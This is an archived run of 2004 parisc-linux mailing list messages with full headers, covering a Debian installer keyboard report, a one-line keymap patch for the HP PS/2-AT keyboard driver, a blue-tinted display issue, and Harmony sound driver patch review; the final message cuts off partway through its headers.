NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623440 9350 80.91.229.3 (22 Nov 2014 02:30:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:40 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:10 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 6385 invoked by uid 65534); 6 May 2004 18:43:07 -0000
Original-Received: from dsl2.external.hp.com (EHLO dsl2.external.hp.com) (192.25.206.7)
  by mx0.gmx.net (mx050) with SMTP; 06 May 2004 20:43:07 +0200
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 26CDC48B3; Thu,  6 May 2004 12:42:42 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from perpugilliam.csclub.uwaterloo.ca
	(perpugilliam.csclub.uwaterloo.ca [129.97.134.31])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4D81148A6
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  6 May 2004 12:42:39 -0600 (MDT)
Original-Received: by perpugilliam.csclub.uwaterloo.ca (Postfix, from userid 20178)
	id E3A0EA85EC; Thu,  6 May 2004 14:42:34 -0400 (EDT)
In-Reply-To: <20040506172344.GA12232@colo.lackof.org>
Original-Lines: 15
User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21617


Grant Grundler <grundler@parisc-linux.org> writes:
> Comments/Problems:
> 
> Using the HP USB keyboard (Model SK-2502U, P/N A4983-60401) on an HP C3600,
> the regular 4 arrow keys (seperate from the numeric keypad) do NOT work.
> They "select" instead of moving the highlight up/down.
> 
> Use the numeric keypad instead - it has "arrow keys" on it as well.

 I have found that the "arrow keys" both move the highlight and select.
This is from my experience on the console using bash on a B1K using some
crappy usb keyboard.

Jim
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] installation-reports - hppa c3600 graphical/usb
Date: Thu, 6 May 2004 11:23:44 -0600
Lines: 54
Approved: news@gmane.org
Message-ID: <20040506172344.GA12232__43051.1502353058$1416623440$gmane$org@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623440 9353 80.91.229.3 (22 Nov 2014 02:30:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:40 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: submit@bugs.debian.org
Original-X-From: - Wed Jul 02 21:27:10 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 17333 invoked by uid 65534); 6 May 2004 17:24:06 -0000
Original-Received: from dsl2.external.hp.com (EHLO dsl2.external.hp.com) (192.25.206.7)
  by mx0.gmx.net (mx055) with SMTP; 06 May 2004 19:24:06 +0200
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id A8D3E48AC; Thu,  6 May 2004 11:23:56 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4DDFF4843
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  6 May 2004 11:23:50 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 7D4B0298091; Thu,  6 May 2004 11:23:45 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 12434-04; Thu, 6 May 2004 11:23:44 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id A0CCF298028; Thu,  6 May 2004 11:23:44 -0600 (MDT)
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21618

Package: installation-reports

Debian-installer-version: Beta4 5/6/2004
uname -a: Linux debian 2.4.25-32 #1 Mon Apr 19 18:11:19 UTC 2004 parisc unknown
Date: 5/6/2004
Method: booted CD from sarge-hppa-netinst.iso
	http://cdimage.debian.org/pub/cdimage-testing/sarge_d-i/hppa/beta4/sarge-hppa-netinst.iso

Machine: HP C3600 workstation with PCI VIs-EG/USB console
Processor: PA8600
Memory: 4GB
Root Device: fwscsi.5.0
Root Size/partition table: n/a
Output of lspci: n/a

Base System Installation Checklist:

Initial boot worked:    [O]
Configure network HW:   [O]
Config network:         [O]
Detect CD:              [O]
Load installer modules: [?]
Detect hard drives:     [O]
Partition hard drives:  [ ]
Create file systems:    [ ]
Mount partitions:       [ ]
Install base system:    [ ]
Install boot loader:    [ ]
Reboot:                 [ ]
[O] = OK, [E] = Error (please elaborate below), [ ] = didn't try it
[?] = No clue if that was done or worked

Comments/Problems:

Using the HP USB keyboard (Model SK-2502U, P/N A4983-60401) on an HP C3600,
the regular 4 arrow keys (seperate from the numeric keypad) do NOT work.
They "select" instead of moving the highlight up/down.

Use the numeric keypad instead - it has "arrow keys" on it as well.

It's more "natural" to use the regular arrow keys and it should be
trivial for the right person to fix.  I gather the numeric pad sends
out a different scan code than the four "arrow" keys.

I only needed to boot the system to recover a palo (v1.4 built with gcc
3.3.3) which fails to boot.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] installation-reports - hppa c3600 graphical/usb
Date: Fri, 7 May 2004 21:16:24 +0200
Lines: 66
Approved: news@gmane.org
Message-ID: <200405072116.25041.deller@gmx.de>
References: <20040506172344.GA12232@colo.lackof.org>
	<kfh7jvpbdnp.fsf@csclub.uwaterloo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Multipart/Mixed;
  boundary="Boundary-00=_JC+mAat761QnlYJ"
X-Trace: ger.gmane.org 1416623441 9356 80.91.229.3 (22 Nov 2014 02:30:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:41 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:10 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 8324 invoked by uid 65534); 7 May 2004 19:18:29 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx037) with SMTP; 07 May 2004 21:18:29 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 5095E3BE2D; Fri,  7 May 2004 13:17:41 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (pop.gmx.de [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id CDEB93BE29
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  7 May 2004 13:17:37 -0600 (MDT)
Original-Received: (qmail 3887 invoked by uid 65534); 7 May 2004 19:17:35 -0000
Original-Received: from pD904045E.dip.t-dialin.net (EHLO p100) (217.4.4.94)
	by mail.gmx.net (mp023) with SMTP; 07 May 2004 21:17:35 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.6.52
In-Reply-To: <kfh7jvpbdnp.fsf@csclub.uwaterloo.ca>
Content-Disposition: inline
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21619

--Boundary-00=_JC+mAat761QnlYJ
Content-Type: text/plain;
  charset="iso-8859-1";
  boundary=""
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

On Thursday 06 May 2004 20:42, James Morrison wrote:
> 
> Grant Grundler <grundler@parisc-linux.org> writes:
> > Comments/Problems:
> > 
> > Using the HP USB keyboard (Model SK-2502U, P/N A4983-60401) on an HP C3600,
> > the regular 4 arrow keys (seperate from the numeric keypad) do NOT work.
> > They "select" instead of moving the highlight up/down.
> > 
> > Use the numeric keypad instead - it has "arrow keys" on it as well.
> 
>  I have found that the "arrow keys" both move the highlight and select.
> This is from my experience on the console using bash on a B1K using some
> crappy usb keyboard.

The attached patch should fix the keyboard problem.
Any feedback welcome...

Helge


--Boundary-00=_JC+mAat761QnlYJ
Content-Type: text/plain;
  charset="iso-8859-1";
  name="diff"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
	filename="diff"

Index: drivers/input/keyboard/hpps2atkbd.h
===================================================================
RCS file: /var/cvs/linux-2.6/drivers/input/keyboard/hpps2atkbd.h,v
retrieving revision 1.7
diff -u -p -r1.7 hpps2atkbd.h
--- a/drivers/input/keyboard/hpps2atkbd.h	20 Mar 2004 21:01:15 -0000	1.7
+++ b/drivers/input/keyboard/hpps2atkbd.h	7 May 2004 19:10:00 -0000
@@ -53,7 +53,7 @@
 /* 78 */  KEY_F11,      KEY_KPPLUS,    KEY_KP3,       KEY_KPMINUS,   KEY_KPASTERISK,KEY_KP9,      KEY_SCROLLLOCK,KEY_102ND,
 /* 80 */  KEY_RESERVED, KEY_RESERVED,  KEY_RESERVED,  KEY_RESERVED,  KEY_RESERVED,  KEY_RESERVED, KEY_RESERVED,  KEY_RESERVED,
 /* 88 */  KEY_RESERVED, KEY_RESERVED,  KEY_RESERVED,  KEY_RESERVED,  KEY_RESERVED,  KEY_RESERVED, KEY_RESERVED,  KEY_RESERVED,
-/* 90 */  KEY_RESERVED, KEY_RIGHTALT,  KEY_SYSRQ,     KEY_RESERVED,  KEY_RIGHTCTRL, KEY_RESERVED, KEY_RESERVED,  KEY_RESERVED,
+/* 90 */  KEY_RESERVED, KEY_RIGHTALT,  255,           KEY_RESERVED,  KEY_RIGHTCTRL, KEY_RESERVED, KEY_RESERVED,  KEY_RESERVED,
 /* 98 */  KEY_RESERVED, KEY_RESERVED,  KEY_RESERVED,  KEY_RESERVED,  KEY_RESERVED,  KEY_CAPSLOCK, KEY_RESERVED,  KEY_LEFTMETA,
 /* a0 */  KEY_RESERVED, KEY_RESERVED,  KEY_RESERVED,  KEY_RESERVED,  KEY_RESERVED,  KEY_RESERVED, KEY_RESERVED,  KEY_RIGHTMETA,
 /* a8 */  KEY_RESERVED, KEY_RESERVED,  KEY_RESERVED,  KEY_RESERVED,  KEY_RESERVED,  KEY_RESERVED, KEY_RESERVED,  KEY_COMPOSE,

--Boundary-00=_JC+mAat761QnlYJ
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--Boundary-00=_JC+mAat761QnlYJ--



From - Thu Nov 08 21:32:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Blue screen?
Date: Mon, 10 May 2004 17:31:49 -0400
Lines: 16
Approved: news@gmane.org
Message-ID: <20040510213149.GB19589@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623441 9359 80.91.229.3 (22 Nov 2014 02:30:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:41 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:10 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 22312 invoked by uid 65534); 10 May 2004 21:33:45 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx030) with SMTP; 10 May 2004 23:33:45 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 29C6C3BF23; Mon, 10 May 2004 15:33:06 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 914113BF20
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 10 May 2004 15:33:02 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1BNINJ-0005PN-00 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 10 May 2004 17:31:49 -0400
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (70% Sync Ratio [=======...])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21620


pa,

No, not THE blue screen, but my blue screen. Have a 715/50, but the
graphics are all tinted blue. I remember a similar problem being fixed a
long time ago. I'm searching the ML, but I can't find what I'm searching
for in particular.

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Blue screen?
Date: Mon, 10 May 2004 23:59:41 +0200
Lines: 18
Approved: news@gmane.org
Message-ID: <200405102359.41471.deller@gmx.de>
References: <20040510213149.GB19589@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623441 9363 80.91.229.3 (22 Nov 2014 02:30:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:41 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:10 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 24241 invoked by uid 65534); 10 May 2004 22:00:27 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx042) with SMTP; 11 May 2004 00:00:27 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E40543BF27; Mon, 10 May 2004 15:59:48 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (pop.gmx.de [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id C59FB3BF24
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 10 May 2004 15:59:44 -0600 (MDT)
Original-Received: (qmail 31038 invoked by uid 65534); 10 May 2004 21:59:43 -0000
Original-Received: from pD9040DE3.dip.t-dialin.net (EHLO p100) (217.4.13.227)
	by mail.gmx.net (mp008) with SMTP; 10 May 2004 23:59:43 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.6.52
In-Reply-To: <20040510213149.GB19589@baldric.uwo.ca>
Content-Disposition: inline
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21621

On Monday 10 May 2004 23:31, Carlos O'Donell wrote:
> pa,
> 
> No, not THE blue screen, but my blue screen. Have a 715/50, but the
> graphics are all tinted blue. I remember a similar problem being fixed a
> long time ago. I'm searching the ML, but I can't find what I'm searching
> for in particular.

I saw that too today - not sure yet if due to the new kernel or due to an apt-get upgrade...

Helge

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] Harmony driver - Reject AFMT_S16_LE &
	Implement SNDCTL_DSP_CHANNELS
Date: Mon, 10 May 2004 23:24:51 -0600
Lines: 35
Approved: news@gmane.org
Message-ID: <20040511052451.GC27478@colo.lackof.org>
References: <20040222092057.GA2590@calypso> <20040223035601.GA988@calypso>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623442 9369 80.91.229.3 (22 Nov 2014 02:30:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:42 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Stuart Brady <sdbrady@ntlworld.com>
Original-X-From: - Wed Jul 02 21:27:10 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 12649 invoked by uid 65534); 11 May 2004 07:25:46 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx052) with SMTP; 11 May 2004 09:25:46 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 913533BF35; Tue, 11 May 2004 01:24:29 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 5BB1A3BF2E
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 10 May 2004 23:24:53 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 9B7F2298034; Mon, 10 May 2004 23:24:52 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 29107-04; Mon, 10 May 2004 23:24:51 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id D68A0298015; Mon, 10 May 2004 23:24:51 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20040223035601.GA988@calypso>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21622

On Mon, Feb 23, 2004 at 03:56:01AM +0000, Stuart Brady wrote:
> On Sun, Feb 22, 2004 at 09:20:57AM +0000, Stuart Brady wrote:
> 
> > +				if (put_user(ival, (int *) arg))
> > +					return -EFAULT;
> 
> I've been looking at the specification, I think this should have been:
...

Hi Stuart,
Sorry for taking so long with this...I was expecting someone else
to reply and maybe missed it. A couple of minor problems with
your patch:

1) it's for 2.4 and I'm personally trying to focus on 2.6 tree now.
   2.6 is ready for prime time. It's been my desktop/ftp/http server
   (C3600) for the past couple of monthes and has proven very stable.

2) OSS is "decprecated" according to the 2.6 sound/Kconfig "Help".
   Ie use ALSA instead.  See SOUND_PRIME option.

3) if no one else wants to poke at the 2.4 harmony driver, I will
   just apply your patches on good faith that it builds/works for you.
   Have you tweaked it more since Feb?

In 2.6, ALSA harmony driver does NOT compile and that's disappointing.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Blue screen?
Date: Tue, 11 May 2004 11:04:44 +0200
Lines: 67
Approved: news@gmane.org
Message-ID: <20040511090444.GJ1912@lug-owl.de>
References: <20040510213149.GB19589@baldric.uwo.ca>
	<200405102359.41471.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============1412500615=="
X-Trace: ger.gmane.org 1416623442 9370 80.91.229.3 (22 Nov 2014 02:30:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:42 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:10 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 13692 invoked by uid 65534); 11 May 2004 09:05:32 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx015) with SMTP; 11 May 2004 11:05:32 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id B2E683BF4A; Tue, 11 May 2004 03:04:49 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dvmwest.gt.owl.de (dvmwest.gt.owl.de [62.52.24.140])
	by free.linux.hp.com (Postfix) with ESMTP id 88E503BF47
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 11 May 2004 03:04:46 -0600 (MDT)
Original-Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
